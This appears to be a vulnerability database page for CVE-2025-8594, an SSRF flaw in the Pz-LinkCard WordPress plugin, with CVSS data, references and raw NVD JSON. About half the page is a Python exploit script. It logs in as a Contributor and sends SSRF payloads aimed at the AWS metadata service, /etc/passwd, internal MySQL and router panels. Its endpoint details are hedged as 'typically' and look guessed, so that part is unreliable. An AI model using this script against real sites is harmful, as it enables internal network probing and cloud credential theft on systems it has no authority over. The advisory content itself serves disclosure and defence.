CVE-2025-8594

Description

The Pz-LinkCard WordPress plugin before 2.5.7 does not validate a parameter before making a request to it, which could allow users with a role as low as Contributor to perform SSRF attack.

CVSS Details

CVSS Score

3.8

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Pz-LinkCard WordPress Plugin < 2.5.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-8594 - Pz-LinkCard WordPress Plugin SSRF PoC
# Exploit requires Contributor-level WordPress account

import requests
from bs4 import BeautifulSoup

# WordPress site configuration
TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "contributor_user"
PASSWORD = "contributor_password"

# Step 1: Login as Contributor
session = requests.Session()
login_page = session.get(f"{TARGET_URL}/wp-login.php")
soup = BeautifulSoup(login_page.text, 'html.parser')

# Extract login form fields
form_fields = {}
for input_tag in soup.find_all('input', type='hidden'):
    form_fields[input_tag.get('name')] = input_tag.get('value')

# Submit login credentials
login_data = {
    'log': USERNAME,
    'pwd': PASSWORD,
    'wp-submit': 'Log In',
    'redirect_to': f"{TARGET_URL}/wp-admin/",
    'testcookie': '1',
    **form_fields
}
response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data)

# Step 2: Exploit SSRF via Pz-LinkCard parameter
# The vulnerable parameter is typically 'url' used in link card creation
ssrf_payloads = [
    "http://127.0.0.1:3306",                    # Internal MySQL port scan
    "http://169.254.169.254/latest/meta-data/", # AWS metadata service
    "http://192.168.1.1/admin",                 # Internal router/admin panel
    "file:///etc/passwd",                       # Local file read
    "http://internal-service.local/api"         # Internal service access
]

for payload in ssrf_payloads:
    # Submit the malicious URL through Pz-LinkCard endpoint
    exploit_data = {
        'action': 'pz_linkcard_preview',
        'url': payload,
        'title': 'Test Card',
        '_wpnonce': '<valid_nonce_here>'
    }
    response = session.post(
        f"{TARGET_URL}/wp-admin/admin-ajax.php",
        data=exploit_data
    )
    print(f"[*] Payload: {payload}")
    print(f"[*] Response: {response.text[:500]}\n")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8594
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8594
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8594/
[4] VulDB https://vuldb.com/cve/CVE-2025-8594
[5] https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/
[6] https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-8594", "sourceIdentifier": "[email protected]", "published": "2025-10-14T06:15:35.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pz-LinkCard WordPress plugin before 2.5.7 does not validate a parameter before making a request to it, which could allow users with a role as low as Contributor to perform SSRF attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "references": [{"url": "https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}